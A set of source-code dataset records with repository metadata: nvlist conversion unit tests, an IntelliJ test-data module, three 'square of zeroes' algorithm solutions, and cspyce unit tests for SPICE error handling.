int8_t(1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_int8_max_value(self): props = {b"key": int8_t(2 ** 7 - 1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_int8_min_value(self): props = {b"key": int8_t(-(2 ** 7))} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_int8_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": int8_t(2 ** 7)} self._dict_to_nvlist_to_dict(props) def test_explicit_int8_too_small_value(self): with self.assertRaises(OverflowError): props = {b"key": int8_t(-(2 ** 7) - 1)} self._dict_to_nvlist_to_dict(props) def test_nested_dict(self): props = {b"key": {}} res = self._dict_to_nvlist_to_dict(props) self.assertEqual(props, res) def test_nested_nested_dict(self): props = {b"key": {b"key": {}}} res = self._dict_to_nvlist_to_dict(props) self.assertEqual(props, res) def test_mismatching_values_array(self): props = {b"key": [1, b"string"]} with self.assertRaises(TypeError): self._dict_to_nvlist_to_dict(props) def test_mismatching_values_array2(self): props = {b"key": [True, 10]} with self.assertRaises(TypeError): self._dict_to_nvlist_to_dict(props) def test_mismatching_values_array3(self): props = {b"key": [1, False]} with self.assertRaises(TypeError): self._dict_to_nvlist_to_dict(props) def test_string_array(self): props = {b"key": [b"value", b"value2"]} res = self._dict_to_nvlist_to_dict(props) self.assertEqual(props, res) def test_boolean_array(self): props = {b"key": [True, False]} res = self._dict_to_nvlist_to_dict(props) self.assertEqual(props, res) def test_explicit_boolean_array(self): props = {b"key": [boolean_t(False), boolean_t(True)]} res = self._dict_to_nvlist_to_dict(props) self._assertIntArrayDictsEqual(props, res) def test_uint64_array(self): props = {b"key": [0, 1, 2 ** 64 - 1]} res = self._dict_to_nvlist_to_dict(props) self.assertEqual(props, res) def test_uint64_array_too_large_value(self): props = {b"key": [0, 2 ** 64]} with self.assertRaises(OverflowError): self._dict_to_nvlist_to_dict(props) def test_uint64_array_negative_value(self): props = {b"key": [0, -1]} with self.assertRaises(OverflowError): self._dict_to_nvlist_to_dict(props) def test_mixed_explict_int_array(self): with self.assertRaises(TypeError): props = {b"key": [uint64_t(0), uint32_t(0)]} self._dict_to_nvlist_to_dict(props) def test_explict_uint64_array(self): props = {b"key": [uint64_t(0), uint64_t(1), uint64_t(2 ** 64 - 1)]} res = self._dict_to_nvlist_to_dict(props) self._assertIntArrayDictsEqual(props, res) def test_explict_uint64_array_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": [uint64_t(0), uint64_t(2 ** 64)]} self._dict_to_nvlist_to_dict(props) def test_explict_uint64_array_negative_value(self): with self.assertRaises(OverflowError): props = {b"key": [uint64_t(0), uint64_t(-1)]} self._dict_to_nvlist_to_dict(props) def test_explict_uint32_array(self): props = {b"key": [uint32_t(0), uint32_t(1), uint32_t(2 ** 32 - 1)]} res = self._dict_to_nvlist_to_dict(props) self._assertIntArrayDictsEqual(props, res) def test_explict_uint32_array_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": [uint32_t(0), uint32_t(2 ** 32)]} self._dict_to_nvlist_to_dict(props) def test_explict_uint32_array_negative_value(self): with self.assertRaises(OverflowError): props = {b"key": [uint32_t(0), uint32_t(-1)]} self._dict_to_nvlist_to_dict(props) def test_explict_uint16_array(self): props = {b"key": [uint16_t(0), uint16_t(1), uint16_t(2 ** 16 - 1)]} res = self._dict_to_nvlist_to_dict(props) self._assertIntArrayDictsEqual(props, res) def test_explict_uint16_array_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": [uint16_t(0), uint16_t(2 ** 16)]} self._dict_to_nvlist_to_dict(props) def test_explict_uint16_array_negative_value(self): with self.assertRaises(OverflowError): props = {b"key": [uint16_t(0), uint16_t(-1)]} self._dict_to_nvlist_to_dict(props) def test_explict_uint8_array(self): props = {b"key": [uint8_t(0), uint8_t(1), uint8_t(2 ** 8 - 1)]} res = self._dict_to_nvlist_to_dict(props) self._assertIntArrayDictsEqual(props, res) def test_explict_uint8_array_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": [uint8_t(0), uint8_t(2 ** 8)]} self._dict_to_nvlist_to_dict(props) def test_explict_uint8_array_negative_value(self): with self.assertRaises(OverflowError): props = {b"key": [uint8_t(0), uint8_t(-1)]} self._dict_to_nvlist_to_dict(props) def test_explict_byte_array(self): props = {b"key": [uchar_t(0), uchar_t(1), uchar_t(2 ** 8 - 1)]} res = self._dict_to_nvlist_to_dict(props) self._assertIntArrayDictsEqual(props, res) def test_explict_byte_array_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": [uchar_t(0), uchar_t(2 ** 8)]} self._dict_to_nvlist_to_dict(props) def test_explict_byte_array_negative_value(self): with self.assertRaises(OverflowError): props = {b"key": [uchar_t(0), uchar_t(-1)]} self._dict_to_nvlist_to_dict(props) def test_explict_int64_array(self): props = {b"key": [ int64_t(0), int64_t(1), int64_t(2 ** 63 - 1), int64_t(-(2 ** 63))]} res = self._dict_to_nvlist_to_dict(props) self._assertIntArrayDictsEqual(props, res) def test_explict_int64_array_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": [int64_t(0), int64_t(2 ** 63)]} self._dict_to_nvlist_to_dict(props) def test_explict_int64_array_too_small_value(self): with self.assertRaises(OverflowError): props = {b"key": [int64_t(0), int64_t(-(2 ** 63) - 1)]} self._dict_to_nvlist_to_dict(props) def test_explict_int32_array(self): props = {b"key": [ int32_t(0), int32_t(1), int32_t(2 ** 31 - 1), int32_t(-(2 ** 31))]} res = self._dict_to_nvlist_to_dict(props) self._assertIntArrayDictsEqual(props, res) def test_explict_int32_array_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": [int32_t(0), int32_t(2 ** 31)]} self._dict_to_nvlist_to_dict(props) def test_explict_int32_array_too_small_value(self): with self.assertRaises(OverflowError): props = {b"key": [int32_t(0), int32_t(-(2 ** 31) - 1)]} self._dict_to_nvlist_to_dict(props) def test_explict_int16_array(self): props = {b"key": [ int16_t(0), int16_t(1), int16_t(2 ** 15 - 1), int16_t(-(2 ** 15))]} res = self._dict_to_nvlist_to_dict(props) self._assertIntArrayDictsEqual(props, res) def test_explict_int16_array_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": [int16_t(0), int16_t(2 ** 15)]} self._dict_to_nvlist_to_dict(props) def test_explict_int16_array_too_small_value(self): with self.assertRaises(OverflowError): props = {b"key": [int16_t(0), int16_t(-(2 ** 15) - 1)]} self._dict_to_nvlist_to_dict(props) def test_explict_int8_array(self): props = {b"key": [ int8_t(0), int8_t(1), int8_t(2 ** 7 - 1), int8_t(-(2 ** 7))]} res = self._dict_to_nvlist_to_dict(props) self._assertIntArrayDictsEqual(props, res) def test_explict_int8_array_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": [int8_t(0), int8_t(2 ** 7)]} self._dict_to_nvlist_to_dict(props) def test_explict_int8_array_too_small_value(self): with self.assertRaises(OverflowError): props = {b"key": [int8_t(0), int8_t(-(2 ** 7) - 1)]} self._dict_to_nvlist_to_dict(props) def test_dict_array(self): props = {b"key": [{b"key": 1}, {b"key": None}, {b"key": {}}]} res = self._dict_to_nvlist_to_dict(props) self.assertEqual(props, res) def test_implicit_uint32_value(self): props = {b"rewind-request": 1} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_implicit_uint32_max_value(self): props = {b"rewind-request": 2 ** 32 - 1} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_implicit_uint32_too_large_value(self): with self.assertRaises(OverflowError): props = {b"rewind-request": 2 ** 32} self._dict_to_nvlist_to_dict(props) def test_implicit_uint32_negative_value(self): with self.assertRaises(OverflowError): props = {b"rewind-request": -1} self._dict_to_nvlist_to_dict(props) def test_implicit_int32_value(self): props = {b"pool_context": 1} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_implicit_int32_max_value(self): props = {b"pool_context": 2 ** 31 - 1} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_implicit_int32_min_value(self): props = {b"pool_context": -(2 ** 31)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_implicit_int32_too_large_value(self): with self.assertRaises(OverflowError): props = {b"pool_context": 2 ** 31} self._dict_to_nvlist_to_dict(props) def test_implicit_int32_too_small_value(self): with self.assertRaises(OverflowError): props = {b"pool_context": -(2 ** 31) - 1} self._dict_to_nvlist_to_dict(props) def test_complex_dict(self): props = { b"key1": b"str", b"key2": 10, b"key3": { b"skey1": True, b"skey2": None, b"skey3": [ True, False, True ] }, b"key4": [ b"ab", b"bc" ], b"key5": [ 2 ** 64 - 1, 1, 2, 3 ], b"key6": [ { b"skey71": b"a", b"skey72": b"b", }, { b"skey71": b"c", b"skey72": b"d", }, { b"skey71": b"e", b"skey72": b"f", } ], b"type": 2 ** 32 - 1, b"pool_context": -(2 ** 31) } res = self._dict_to_nvlist_to_dict(props) self.assertEqual(props, res) # vim: softtabstop=4 tabstop=4 expandtab shiftwidth=4

36.808477

79

0.630187

3,177

23,447

4.28486

0.06673

0.048042

0.095203

0.11107

0.876882

0.859546

0.823478

0.790347

0.781092

0.759348

0

0.039355

0.254404

23,447

636

80

36.866352

0.739332

0.037574

0

0.450505

0

0.029987

0

0.230303

1

0.222222

false

0

0.008081

0

0.234343

0.00202

0

null

0

1

0

null

0

1

0

7

c3f20416b77a7d9061b63bade95e37dccfaf429d

128

py

Python

python/testData/completion/heavyStarPropagation/lib/_pkg1/_pkg1_0/_pkg1_0_1/_pkg1_0_1_0/_pkg1_0_1_0_1/_mod1_0_1_0_1_3.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/completion/heavyStarPropagation/lib/_pkg1/_pkg1_0/_pkg1_0_1/_pkg1_0_1_0/_pkg1_0_1_0_1/_mod1_0_1_0_1_3.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

173

2018-07-05T13:59:39.000Z

2018-08-09T01:12:03.000Z

python/testData/completion/heavyStarPropagation/lib/_pkg1/_pkg1_0/_pkg1_0_1/_pkg1_0_1_0/_pkg1_0_1_0_1/_mod1_0_1_0_1_3.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

name1_0_1_0_1_3_0 = None name1_0_1_0_1_3_1 = None name1_0_1_0_1_3_2 = None name1_0_1_0_1_3_3 = None name1_0_1_0_1_3_4 = None

14.222222

24

0.820313

40

128

1.875

0.175

0.266667

0.466667

0.533333

0.88

0.746667

0

0.318182

0.140625

128

9

25

14.222222

0.363636

0

1

0

false

0

1

null

1

0

1

0

1

0

1

0

null

0

10

4ef57e09a88f9e9437d6273a657cf1d8ca514942

4,331

py

Python

Very Hard/square-of-zeroes.py

SaumyaRai2010/algoexpert-data-structures-algorithms

bcafd8d7798661bf86c2d6234221d764c68fc19f

[ "MIT" ]

152

2021-07-15T02:56:17.000Z

2022-03-31T08:59:52.000Z

Very Hard/square-of-zeroes.py

SaumyaRai2010/algoexpert-data-structures-algorithms

bcafd8d7798661bf86c2d6234221d764c68fc19f

[ "MIT" ]

2

2021-07-18T22:01:28.000Z

2022-02-17T03:55:04.000Z

Very Hard/square-of-zeroes.py

SaumyaRai2010/algoexpert-data-structures-algorithms

bcafd8d7798661bf86c2d6234221d764c68fc19f

[ "MIT" ]

74

2021-07-16T11:55:30.000Z

2022-03-31T14:48:06.000Z

# SQUARE OF ZEROES # O(N^4) time and O(1) space def squareOfZeroes(matrix): # Write your code here. n = len(matrix) for topRow in range(n): for leftCol in range(n): squareLength = 2 while squareLength <= n - leftCol and squareLength <= n - topRow: bottomRow = topRow + squareLength - 1 rightCol = leftCol + squareLength - 1 if isSquareOfZeroes(matrix, topRow, leftCol, bottomRow, rightCol): return True squareLength += 1 return False def isSquareOfZeroes(matrix, r1, c1, r2, c2): for row in range(r1, r2 + 1): if matrix[row][c1] != 0 or matrix[row][c2] != 0: return False for col in range(c1, c2 + 1): if matrix[r1][col] != 0 or matrix[r2][col] != 0: return False return True # O(N^3) time and space def squareOfZeroes(matrix): # Write your code here. infoMatrix = preComputeNumOfZeroes(matrix) lastIdx = len(matrix) - 1 return hasSquareOfZeroes(infoMatrix, 0, 0, lastIdx, lastIdx, {}) def hasSquareOfZeroes(infoMatrix, r1, c1, r2, c2, cache): if r1 >= r2 or c1 >= c2: return False key = str(r1) + "-" + str(c1) + "-" + str(r2) + "-" + str(c2) if key in cache: return cache[key] cache[key] = ( isSquareOfZeroes(infoMatrix, r1, c1, r2, c2) or hasSquareOfZeroes(infoMatrix, r1 + 1, c1 + 1, r2 - 1, c2 - 1, cache) or hasSquareOfZeroes(infoMatrix, r1, c1 + 1, r2 - 1, c2, cache) or hasSquareOfZeroes(infoMatrix, r1 + 1, c1, r2, c2 - 1, cache) or hasSquareOfZeroes(infoMatrix, r1 + 1, c1 + 1, r2, c2, cache) or hasSquareOfZeroes(infoMatrix, r1, c1, r2 - 1, c2 - 1, cache) ) return cache[key] def isSquareOfZeroes(infoMatrix, r1, c1, r2, c2): squareLength = c2 - c1 + 1 hasTopBorder = infoMatrix[r1][c1]["numZeroesRight"] >= squareLength hasLeftBorder = infoMatrix[r1][c1]["numZeroesBelow"] >= squareLength hasBottomBorder = infoMatrix[r2][c1]["numZeroesRight"] >= squareLength hasRightBorder = infoMatrix[r1][c2]["numZeroesBelow"] >= squareLength return hasTopBorder and hasLeftBorder and hasBottomBorder and hasRightBorder def preComputeNumOfZeroes(matrix): infoMatrix = [[x for x in row] for row in matrix] n = len(matrix) for row in range(n): for col in range(n): numZeroes = 1 if matrix[row][col] == 0 else 0 infoMatrix[row][col] = { "numZeroesBelow": numZeroes, "numZeroesRight": numZeroes, } lastIdx = len(matrix) - 1 for row in reversed(range(n)): for col in reversed(range(n)): if matrix[row][col] == 1: continue if row < lastIdx: infoMatrix[row][col]["numZeroesBelow"] += infoMatrix[row + 1][col]["numZeroesBelow"] if col < lastIdx: infoMatrix[row][col]["numZeroesRight"] += infoMatrix[row][col + 1]["numZeroesRight"] return infoMatrix # O(N^3) time and O(N^2) space def squareOfZeroes(matrix): # Write your code here infoMatrix = preComputeNumOfZeroes(matrix) n = len(matrix) for topRow in range(n): for leftCol in range(n): squareLength = 2 while squareLength <= n - leftCol and squareLength <= n - topRow: bottomRow = topRow + squareLength - 1 rightCol = leftCol + squareLength - 1 if isSquareOfZeroes(infoMatrix, topRow, leftCol, bottomRow, rightCol): return True squareLength += 1 return False def isSquareOfZeroes(infoMatrix, r1, c1, r2, c2): squareLength = c2 - c1 + 1 hasTopBorder = infoMatrix[r1][c1]["numZeroesRight"] >= squareLength hasLeftBorder = infoMatrix[r1][c1]["numZeroesBelow"] >= squareLength hasBottomBorder = infoMatrix[r2][c1]["numZeroesRight"] >= squareLength hasRightBorder = infoMatrix[r1][c2]["numZeroesBelow"] >= squareLength return hasTopBorder and hasLeftBorder and hasBottomBorder and hasRightBorder def preComputeNumOfZeroes(matrix): infoMatrix = [[x for x in row] for row in matrix] n = len(matrix) for row in range(n): for col in range(n): numZeroes = 1 if matrix[row][col] == 0 else 0 infoMatrix[row][col] = { "numZeroesBelow": numZeroes, "numZeroesRight": numZeroes, } lastIdx = len(matrix) - 1 for row in reversed(range(n)): for col in reversed(range(n)): if matrix[row][col] == 1: continue if row < lastIdx: infoMatrix[row][col]["numZeroesBelow"] += infoMatrix[row + 1][col]["numZeroesBelow"] if col < lastIdx: infoMatrix[row][col]["numZeroesRight"] += infoMatrix[row][col + 1]["numZeroesRight"] return infoMatrix

32.081481

88

0.676518

560

4,331

5.232143

0.107143

0.061433

0.047782

0.013652

0.879522

0.85529

0.828669

0.799317

0.758703

0

0.036

0.191873

4,331

135

89

32.081481

0.801143

0

0.792453

0

0.067964

0

0.007407

0

null

0

null

0

null

0

1

0

1

0

null

0

1

0

8

4efb8320e7290041c438eade1115d55984bf1803

15,603

py

Python

unittests/unittester_errors.py

michaelaye/pds-cspyce

b45e37ec0a952d1380727dbfb7357d48efea7044

[ "AFL-3.0" ]

null

unittests/unittester_errors.py

michaelaye/pds-cspyce

b45e37ec0a952d1380727dbfb7357d48efea7044

[ "AFL-3.0" ]

4

2018-10-30T21:56:05.000Z

2022-03-28T23:45:27.000Z

unittests/unittester_errors.py

michaelaye/pds-cspyce

b45e37ec0a952d1380727dbfb7357d48efea7044

[ "AFL-3.0" ]

2

2019-12-14T05:32:52.000Z

2022-03-02T21:55:11.000Z

################################################################################ # Unit tests for all the supported spyce functions that involve error handling. ################################################################################ import sys import numpy as np import numbers import cspyce as s import unittest class Test_spyce_errors(unittest.TestCase): def runTest(self): #### erract, errdev, errprt I/O self.assertEqual(s.erract(), 'EXCEPTION') self.assertEqual(s.erract('GET'), 'EXCEPTION') self.assertEqual(s.erract('GET', 'ignored'), 'EXCEPTION') self.assertEqual(s.erract('SET', 'IGNORE'), 'IGNORE') self.assertEqual(s.erract(), 'IGNORE') self.assertEqual(s.erract('RETURN'), 'RETURN') self.assertEqual(s.erract(), 'RETURN') s.erract('set', ' exception') self.assertEqual(s.erract(), 'EXCEPTION') self.assertEqual(s.errdev(), 'NULL') self.assertEqual(s.errdev('GET'), 'NULL') self.assertEqual(s.errdev('GET', 'ignored'), 'NULL') self.assertEqual(s.errdev('SET', 'foo.txt'), 'foo.txt') self.assertEqual(s.errdev('bar.txt'), 'bar.txt') self.assertEqual(s.errdev(), 'bar.txt') self.assertEqual(s.errdev('SET', 'SCREEN'), 'SCREEN') self.assertEqual(s.errdev(), 'SCREEN') self.assertEqual(s.errdev('SET', 'NULL'), 'NULL') self.assertEqual(s.errdev(), 'NULL') default = 'SHORT, LONG, EXPLAIN, TRACEBACK, DEFAULT' self.assertEqual(s.errprt(), default) self.assertEqual(s.errprt('GET'), default) self.assertEqual(s.errprt('GET', 'ignore'), default) self.assertEqual(s.errprt('SET', 'NONE'), 'NONE') self.assertEqual(s.errprt('get'), '') self.assertEqual(s.errprt('SET', 'SHORT, TRACEBACK'), 'SHORT, TRACEBACK') self.assertEqual(s.errprt(), 'SHORT, TRACEBACK') self.assertEqual(s.errprt('LONG'), 'LONG') self.assertEqual(s.errprt(), 'SHORT, LONG, TRACEBACK') self.assertEqual(s.errprt('SET', 'NONE'), 'NONE') self.assertEqual(s.errprt(default), default) self.assertEqual(s.errprt(), default) #### chkin, chkout, trcdep, trcnam, qcktrc, sigerr with Python exceptions s.erract('set', 'exception') self.assertEqual(s.erract(), 'EXCEPTION') s.erract('SET', ' ExcEptIon ') self.assertEqual(s.erract(), 'EXCEPTION') s.errdev('set', 'screen') self.assertEqual(s.errdev(), 'SCREEN') s.chkin('zero') s.chkin('one') s.chkin('two') print s.qcktrc() self.assertEqual(s.trcdep(), 3) self.assertEqual(s.trcnam(0), 'zero') self.assertEqual(s.trcnam(1), 'one') self.assertEqual(s.trcnam(2), 'two') self.assertEqual(s.qcktrc(), 'zero --> one --> two') print print '*** One error message should appear below' print '*** SPICE(INVALIDARRAYSHAPE) --' print '*** Traceback: zero --> one --> two --> vadd' self.assertRaises(ValueError, s.vadd, [1,2,3], [4,5,6,7]) self.assertEqual(s.trcdep(), 3) self.assertEqual(s.trcnam(2), 'two') self.assertEqual(s.getmsg('short'), 'SPICE(INVALIDARRAYSHAPE)') s.errdev('set', 'null') try: s.vadd([1,2,3], [4,5,6,7]) except ValueError as e: pass print str(e) self.assertEqual(str(e), s.getmsg('short') + ' -- vadd -- ' + s.getmsg('long')) s.errdev('set', 'screen') print print '*** One error message should appear below' print '*** Error test -- \\n\\nThis is an error test' print '*** Traceback: zero --> one --> two' s.setmsg('This is an error test') self.assertRaises(RuntimeError, s.sigerr, "Error test") self.assertEqual(s.trcdep(), 2) s.errdev('set', 'null') self.assertRaises(RuntimeError, s.sigerr, "Error test") self.assertEqual(s.getmsg('short'), 'Error test') self.assertFalse(s.failed()) self.assertEqual(s.trcdep(), 1) self.assertEqual(s.qcktrc(), 'zero') s.reset() # print '<' + s.getmsg('short') + '>' print '<' + s.getmsg('long') + '>' print '<' + s.getmsg('explain') + '>' self.assertEqual(s.getmsg('short'), '') self.assertEqual(s.trcdep(), 1) self.assertEqual(s.qcktrc(), 'zero') self.assertRaises(RuntimeError, s.sigerr, "222") self.assertEqual(s.getmsg('short'), '222') self.assertFalse(s.failed()) self.assertEqual(s.trcdep(), 0) self.assertEqual(s.qcktrc(), '') self.assertRaises(RuntimeError, s.sigerr, "333") self.assertEqual(s.getmsg('short'), '333') self.assertFalse(s.failed()) self.assertEqual(s.trcdep(), 0) self.assertEqual(s.qcktrc(), '') s.reset() self.assertEqual(s.getmsg('short'), '') self.assertRaises(KeyError, s.bodn2c, 'abc') self.assertEqual(s.getmsg('short'), 'SPICE(BODYNAMENOTFOUND)') self.assertEqual(s.getmsg('long'), 'body name "abc" not found in kernel pool') self.assertFalse(s.failed()) #### chkin, chkout, trcdep, trcnam, sigerr with erract="RETURN" s.erract('set', 'return') self.assertEqual(s.erract(), 'RETURN') s.errdev('set', 'screen') s.chkin('zero') s.chkin('one') s.chkin('two') self.assertEqual(s.trcdep(), 3) self.assertEqual(s.trcnam(0), 'zero') self.assertEqual(s.trcnam(1), 'one') self.assertEqual(s.trcnam(2), 'two') self.assertEqual(s.qcktrc(), 'zero --> one --> two') print print '*** One error message should appear below' print '*** SPICE(INVALIDARRAYSHAPE) --' print '*** Traceback: zero --> one --> two --> vadd' _ = s.vadd([1,2,3], [4,5,6,7]) self.assertEqual(s.trcdep(), 4) self.assertEqual(s.trcnam(3), 'vadd') self.assertEqual(s.getmsg('short'), 'SPICE(INVALIDARRAYSHAPE)') self.assertTrue(s.failed()) self.assertEqual(s.qcktrc(), 'zero --> one --> two --> vadd') s.reset() self.assertEqual(s.trcdep(), 3) self.assertEqual(s.trcnam(2), 'two') self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), 'zero --> one --> two') print print '*** One error message should appear below' print '*** Error test -- \\n\\nThis is an error test' print '*** Traceback: zero --> one --> two' s.setmsg('This is an error test') s.sigerr("Error test") self.assertEqual(s.trcdep(), 3) self.assertEqual(s.trcnam(2), 'two') self.assertEqual(s.getmsg('short'), 'Error test') self.assertEqual(s.getmsg('long'), 'This is an error test') self.assertTrue(s.failed()) self.assertEqual(s.qcktrc(), 'zero --> one --> two') s.reset() self.assertEqual(s.trcdep(), 2) self.assertEqual(s.trcnam(1), 'one') self.assertEqual(s.getmsg('short'), '') self.assertEqual(s.getmsg('long'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), 'zero --> one') s.errdev('set', 'null') s.sigerr("Error test") self.assertEqual(s.trcdep(), 2) self.assertEqual(s.getmsg('short'), 'Error test') self.assertEqual(s.getmsg('long'), '') self.assertTrue(s.failed()) self.assertEqual(s.qcktrc(), 'zero --> one') s.reset() self.assertEqual(s.trcdep(), 1) self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), 'zero') s.sigerr("222") self.assertEqual(s.trcdep(), 1) self.assertEqual(s.getmsg('short'), '222') self.assertEqual(s.getmsg('long'), '') self.assertTrue(s.failed()) self.assertEqual(s.qcktrc(), 'zero') s.reset() self.assertEqual(s.trcdep(), 0) self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), '') s.sigerr("333") self.assertEqual(s.trcdep(), 0) self.assertEqual(s.getmsg('short'), '333') self.assertEqual(s.getmsg('long'), '') self.assertTrue(s.failed()) self.assertEqual(s.qcktrc(), '') s.reset() self.assertEqual(s.trcdep(), 0) self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), '') #### chkin, chkout, trcdep, trcnam, sigerr with erract="REPORT" s.erract('set', 'report') self.assertEqual(s.erract(), 'REPORT') s.errdev('set', 'screen') s.chkin('zero') s.chkin('one') s.chkin('two') self.assertEqual(s.trcdep(), 3) self.assertEqual(s.trcnam(0), 'zero') self.assertEqual(s.trcnam(1), 'one') self.assertEqual(s.trcnam(2), 'two') self.assertEqual(s.qcktrc(), 'zero --> one --> two') print print '*** One error message should appear below' print '*** SPICE(INVALIDARRAYSHAPE) --' print '*** Traceback: zero --> one --> two --> vadd' _ = s.vadd([1,2,3], [4,5,6,7]) self.assertEqual(s.trcdep(), 3) self.assertEqual(s.trcnam(2), 'two') self.assertEqual(s.getmsg('short'), 'SPICE(INVALIDARRAYSHAPE)') self.assertTrue(s.failed()) self.assertEqual(s.qcktrc(), 'zero --> one --> two') s.reset() self.assertEqual(s.trcdep(), 3) self.assertEqual(s.trcnam(2), 'two') self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), 'zero --> one --> two') print print '*** One error message should appear below' print '*** Error test -- \\n\\nThis is an error test' print '*** Traceback: zero --> one --> two' s.setmsg('This is an error test') s.sigerr("Error test") self.assertEqual(s.trcdep(), 2) self.assertEqual(s.trcnam(1), 'one') self.assertEqual(s.getmsg('short'), 'Error test') self.assertEqual(s.getmsg('long'), 'This is an error test') self.assertTrue(s.failed()) self.assertEqual(s.qcktrc(), 'zero --> one') s.reset() self.assertEqual(s.trcdep(), 2) self.assertEqual(s.trcnam(1), 'one') self.assertEqual(s.getmsg('short'), '') self.assertEqual(s.getmsg('long'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), 'zero --> one') s.errdev('set', 'null') s.sigerr("Error test") self.assertEqual(s.trcdep(), 1) self.assertEqual(s.getmsg('short'), 'Error test') self.assertEqual(s.getmsg('long'), '') self.assertTrue(s.failed()) self.assertEqual(s.qcktrc(), 'zero') s.reset() self.assertEqual(s.trcdep(), 1) self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), 'zero') s.sigerr("222") self.assertEqual(s.trcdep(), 0) self.assertEqual(s.getmsg('short'), '222') self.assertEqual(s.getmsg('long'), '') self.assertTrue(s.failed()) self.assertEqual(s.qcktrc(), '') s.reset() self.assertEqual(s.trcdep(), 0) self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), '') s.sigerr("333") self.assertEqual(s.trcdep(), 0) self.assertEqual(s.getmsg('short'), '333') self.assertEqual(s.getmsg('long'), '') self.assertTrue(s.failed()) self.assertEqual(s.qcktrc(), '') s.reset() self.assertEqual(s.trcdep(), 0) self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), '') #### chkin, chkout, trcdep, trcnam, sigerr with erract="IGNORE" s.erract('set', 'iGnOrE') self.assertEqual(s.erract(), 'IGNORE') s.errdev('set', 'screen') s.chkin('zero') s.chkin('one') s.chkin('two') self.assertEqual(s.trcdep(), 3) self.assertEqual(s.trcnam(0), 'zero') self.assertEqual(s.trcnam(1), 'one') self.assertEqual(s.trcnam(2), 'two') self.assertEqual(s.qcktrc(), 'zero --> one --> two') _ = s.vadd([1,2,3], [4,5,6,7]) self.assertEqual(s.trcdep(), 3) self.assertEqual(s.trcnam(2), 'two') self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), 'zero --> one --> two') s.reset() self.assertEqual(s.trcdep(), 3) self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), 'zero --> one --> two') s.setmsg('This is an error test') s.sigerr("Error test") self.assertEqual(s.trcdep(), 2) self.assertEqual(s.trcnam(1), 'one') self.assertEqual(s.getmsg('short'), '') self.assertEqual(s.getmsg('long'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), 'zero --> one') s.setmsg('This is an error test') self.assertEqual(s.getmsg('long'), '') s.reset() self.assertEqual(s.trcdep(), 2) self.assertEqual(s.trcnam(1), 'one') self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), 'zero --> one') s.errdev('set', 'null') s.sigerr("Error test") self.assertEqual(s.trcdep(), 1) self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), 'zero') s.reset() self.assertEqual(s.trcdep(), 1) self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), 'zero') s.sigerr("222") self.assertEqual(s.trcdep(), 0) self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), '') s.reset() self.assertEqual(s.trcdep(), 0) self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), '') s.sigerr("333") self.assertEqual(s.trcdep(), 0) self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), '') s.reset() self.assertEqual(s.trcdep(), 0) self.assertEqual(s.getmsg('short'), '') self.assertFalse(s.failed()) self.assertEqual(s.qcktrc(), '') #### setmsg, errdp, errint, errch s.erract('set', 'exception') self.assertRaises(RuntimeError, s.sigerr, 'Short') self.assertFalse(s.failed()) try: s.sigerr('Short') except RuntimeError as e: pass self.assertEqual(str(e), 'Short -- ') self.assertFalse(s.failed()) s.setmsg('Long') try: s.sigerr('Short') except RuntimeError as e: pass self.assertEqual(str(e), 'Short -- Long') s.setmsg('Long pi=#; four=#; foo="#"') self.assertEqual(s.getmsg('LONG'), 'Long pi=#; four=#; foo="#"') s.errdp('#', 3.14159) 